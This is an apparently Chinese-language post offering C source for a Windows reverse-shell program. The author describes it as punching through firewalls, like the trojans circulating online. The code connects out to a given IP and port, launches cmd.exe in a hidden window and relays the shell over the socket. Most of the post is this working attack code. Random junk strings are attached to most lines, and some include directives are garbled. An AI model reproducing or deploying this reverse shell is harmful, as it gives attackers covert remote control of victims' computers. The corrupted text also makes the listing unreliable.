Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 cYM~IA  
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/* ============================== ,r 2VP\hLh  
Rebound port in Windows NT V
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By wind,2006/7 ]vQ?]d?>a  
===============================*/ $7n#\h  
#include ?QSx
8d  
#include 20l_ay  
n R\n\
  
#pragma comment(lib,"wsock32.lib") Sci4EGc  
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void OutputShell(); I\rZk9F  
SOCKET sClient; 2PR7M.V7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >mFX^t_,  
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void main(int argc,char **argv) lIVxW+  
{ P"9@8aLB  
WSADATA stWsaData; vDW&pF_eI>  
int nRet; 4l ZJb  
SOCKADDR_IN stSaiClient,stSaiServer; +*_fN ]M  
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if(argc != 3) kV\-%:-  
{ ,t%CK!8  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?S@R~y0K  
return; }-{b$6]  
} ;4kx
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te;Ox!B&  
WSAStartup(MAKEWORD(2,2),&stWsaData); )y`TymM[F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] `B,L*m6  
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stSaiClient.sin_family = AF_INET; <,@H;|mZ  
stSaiClient.sin_port = htons(0); &*aer5?`  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4", )zDk  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1]>$5 1Q  
{ P#[IUXtT  
printf("Bind Socket Failed!\n"); 4Hml.|$  
return; 'Gl;Ir^  
} 0Q$~
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stSaiServer.sin_family = AF_INET; cK|rrwa0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wrQydI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AJ\VY;m7F  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i<#h]o C}  
{ 
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printf("Connect Error!"); G}P)vfcH  
return; 8B*E+f0  
} 7sud/*+F  
OutputShell(); ]{|fYt_-  
} "u<jbD  
/[Bl  
void OutputShell() P?q G  
{ V;iL[  
char szBuff[1024]; H}h~~7E  
SECURITY_ATTRIBUTES stSecurityAttributes; 0 OAqA?Z  
OSVERSIONINFO stOsversionInfo; M)"]$TM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZI58XS+  
STARTUPINFO stStartupInfo; DYo<5^0  
char *szShell; _\,rX\  
PROCESS_INFORMATION stProcessInformation; ^91sl5c8yD  
unsigned long lBytesRead; "u(S2'DW'(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iN<(O7B;  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;Ze"<U  
stSecurityAttributes.lpSecurityDescriptor = 0; 7szls71/=  
stSecurityAttributes.bInheritHandle = TRUE; j`2B}@2  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <#xrrRhm}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R=\v
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Job/@> ;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M8 iEVJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YO@hE>  
stStartupInfo.wShowWindow = SW_HIDE; n 5~=qQK2  
stStartupInfo.hStdInput = hReadPipe; >"cr-LB  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ljup#:n  
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GetVersionEx(&stOsversionInfo); CV!;oB&  
M4TrnZ1D}
 
switch(stOsversionInfo.dwPlatformId) qs!>tw  
{ a?zR
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case 1: !Z U_,[  
szShell = "command.com"; "?i>p z  
break; f\h%; X  
default: A#Xj]^-*  
szShell = "cmd.exe"; Y*Y&)k6t  
break; C
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} )UR1E?'  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KU+( YF$1
 
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send(sClient,szMsg,77,0); 7'_nc!ME  
while(1) Sdgb#?MR|  
{ /K_ i8!y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \HCOR, `T  
if(lBytesRead) r~)VGdB+  
{ ]ddHA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  LsQs:O  
send(sClient,szBuff,lBytesRead,0); UUl*f!&
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} j
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else {hxW,mmA  
{ azvDvEWCQZ  
lBytesRead=recv(sClient,szBuff,1024,0); |xq}'.C  
if(lBytesRead<=0) break; M|U';2hZN:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "YuZ fL`bb  
} c
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} XK1fHfCEa  
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return; LL{t5(- _  
}